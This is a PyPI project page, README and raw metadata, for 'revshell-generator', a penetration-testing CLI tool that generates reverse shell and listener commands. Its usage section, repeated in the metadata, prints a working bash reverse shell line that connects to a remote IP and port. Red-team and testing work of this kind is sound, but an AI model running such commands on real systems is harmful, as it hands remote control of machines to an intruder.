# General Information
https://pypi.org/project/revshell-generator/
The Reverse Shell Generator is a CLI tool that assists in quickly generating reverse shell commands and their corresponding listener commands.
# Installation
You can either clone the repository or install the package from PyPI.
Clone the repository:
```bash
apt install python3 python3-pip
git clone https://github.com/totekuh/reverse-shell-generator
cd reverse-shell-generator
pip3 install .
python3 revshellgenerator.py -h
```
PyPI:
```bash
sudo apt install python3 python3-pip
sudo pip3 install revshell-generator
revshell-generator -h
```
# Usage
You can use the Reverse Shell Generator either interactively or by passing parameters directly on the command line.
### Running the Reverse Shell Generator
```bash
$ revshell-generator
Welcome to the reverse shell generator. Type 'help' or '?' to list available commands.
```
### Setting Reverse IP Address and Port
```bash
revshell-generator --ip 192.168.1.10 --port 8080 --shell /bin/bash
```
You can also specify the IP address by providing a network interface name:
```bash
revshell-generator --ip eth0 --port 8080 --shell /bin/bash
```
In interactive mode, you can set these parameters using the ip, port, and shell commands:
```bash
>> ip 192.168.1.10
>> port 8080
>> shell /bin/bash
```
### Listing Available Reverse Shell Commands
```bash
>> list reverse
```
*Note: the indexes are used while choosing the command template.*
### Listing Available Listener Commands
```bash
>> list listeners
```
### Generating Reverse Shell Commands
```bash
$ python3 revshellgenerator.py
>> get reverse 0
```
The above command will generate the first available reverse shell command, replacing the placeholders with the provided IP, port, and shell. Here's an example of how it might look:
```bash
bash -i >& /dev/tcp/192.168.1.10/8080 0>&1
```
### Generating Listener Commands
```bash
>> get listeners 10
```
For more detailed instructions and specific commands, use the 'help' command followed by the command name, such as `help list` or `help get`.
Raw data
{
"_id": null,
"home_page": "https://github.com/totekuh/reverse-shell-generator",
"name": "revshell-generator",
"maintainer": "",
"docs_url": null,
"requires_python": ">=3.6, <4",
"maintainer_email": "",
"keywords": "pentest,red-team,shell",
"author": "totekuh",
"author_email": "totekuh@protonmail.com",
"download_url": "https://files.pythonhosted.org/packages/60/65/189de1d6a199965afddf08dfcf4781a723741c6a04143d70e1c76a804283/revshell-generator-1.0.12.tar.gz",
"platform": null,
"description": "# General Information\n\nhttps://pypi.org/project/revshell-generator/\n\nThe Reverse Shell Generator is a CLI tool that assists in quickly generating reverse shell commands and their corresponding listener commands.\n\n# Installation\n\nYou can either clone the repository or install the package from PyPI.\n\nClone the repository:\n\n```bash\napt install python3 python3-pip\ngit clone https://github.com/totekuh/reverse-shell-generator\ncd reverse-shell-generator\npip3 install .\npython3 revshellgenerator.py -h\n```\n\nPyPI:\n```bash\nsudo apt install python3 python3-pip\nsudo pip3 install revshell-generator\nrevshell-generator -h\n```\n\n# Usage\n\nYou can use the Reverse Shell Generator either interactively or by passing parameters directly on the command line.\n\n\n\n### Running the Reverse Shell Generator\n\n```bash\n$ revshell-generator\nWelcome to the reverse shell generator. Type 'help' or '?' to list available commands.\n```\n\n### Setting Reverse IP Address and Port\n\n```bash\nrevshell-generator --ip 192.168.1.10 --port 8080 --shell /bin/bash\n```\n\nYou can also specify the IP address by providing a network interface name:\n\n```bash\nrevshell-generator --ip eth0 --port 8080 --shell /bin/bash\n```\n\nIn interactive mode, you can set these parameters using the ip, port, and shell commands:\n\n```bash\n>> ip 192.168.1.10\n>> port 8080\n>> shell /bin/bash\n```\n\n### Listing Available Reverse Shell Commands\n\n```bash\n>> list reverse\n```\n\n*Note: the indexes are used while choosing the command template.*\n\n### Listing Available Listener Commands\n\n```bash\n>> list listeners\n```\n\n### Generating Reverse Shell Commands\n\n```bash\n$ python3 revshellgenerator.py\n>> get reverse 0\n```\n\nThe above command will generate the first available reverse shell command, replacing the placeholders with the provided IP, port, and shell. Here's an example of how it might look:\n\n```bash\nbash -i >& /dev/tcp/192.168.1.10/8080 0>&1\n```\n\n### Generating Listener Commands\n\n```bash\n>> get listeners 10\n```\n\nFor more detailed instructions and specific commands, use the 'help' command followed by the command name, such as `help list` or `help get`.\n",
"bugtrack_url": null,
"license": "",
"summary": "Reverse shell commands generator",
"version": "1.0.12",
"project_urls": {
"Bug Reports": "https://github.com/totekuh/reverse-shell-generator/issues",
"Homepage": "https://github.com/totekuh/reverse-shell-generator",
"Source": "https://github.com/totekuh/reverse-shell-generator"
},
"split_keywords": [
"pentest",
"red-team",
"shell"
],
"urls": [
{
"comment_text": "",
"digests": {
"blake2b_256": "39e1f50a423ab08834fd24642aa4a063b2f1e77548a093438a7882bff8e5ffe9",
"md5": "e2d5dfe5bb6b9f259533bb4b6ce382f3",
"sha256": "0885d1ad78839b2dd0f66dd94a6d3f522335f8efef07458bc3b6788f080cb7ed"
},
"downloads": -1,
"filename": "revshell_generator-1.0.12-py3-none-any.whl",
"has_sig": false,
"md5_digest": "e2d5dfe5bb6b9f259533bb4b6ce382f3",
"packagetype": "bdist_wheel",
"python_version": "py3",
"requires_python": ">=3.6, <4",
"size": 17086,
"upload_time": "2023-05-13T23:48:38",
"upload_time_iso_8601": "2023-05-13T23:48:38.196141Z",
"url": "https://files.pythonhosted.org/packages/39/e1/f50a423ab08834fd24642aa4a063b2f1e77548a093438a7882bff8e5ffe9/revshell_generator-1.0.12-py3-none-any.whl",
"yanked": false,
"yanked_reason": null
},
{
"comment_text": "",
"digests": {
"blake2b_256": "6065189de1d6a199965afddf08dfcf4781a723741c6a04143d70e1c76a804283",
"md5": "4af5768623e8fb36a44482b993a1f7c7",
"sha256": "c68da0d94f0a17d1803fdde4b945fe1f5c43258f52ceb9fe241fc1f462f2d9b4"
},
"downloads": -1,
"filename": "revshell-generator-1.0.12.tar.gz",
"has_sig": false,
"md5_digest": "4af5768623e8fb36a44482b993a1f7c7",
"packagetype": "sdist",
"python_version": "source",
"requires_python": ">=3.6, <4",
"size": 17601,
"upload_time": "2023-05-13T23:48:39",
"upload_time_iso_8601": "2023-05-13T23:48:39.823277Z",
"url": "https://files.pythonhosted.org/packages/60/65/189de1d6a199965afddf08dfcf4781a723741c6a04143d70e1c76a804283/revshell-generator-1.0.12.tar.gz",
"yanked": false,
"yanked_reason": null
}
],
"upload_time": "2023-05-13 23:48:39",
"github": true,
"gitlab": false,
"bitbucket": false,
"codeberg": false,
"github_user": "totekuh",
"github_project": "reverse-shell-generator",
"travis_ci": false,
"coveralls": false,
"github_actions": true,
"lcname": "revshell-generator"
}
JSON
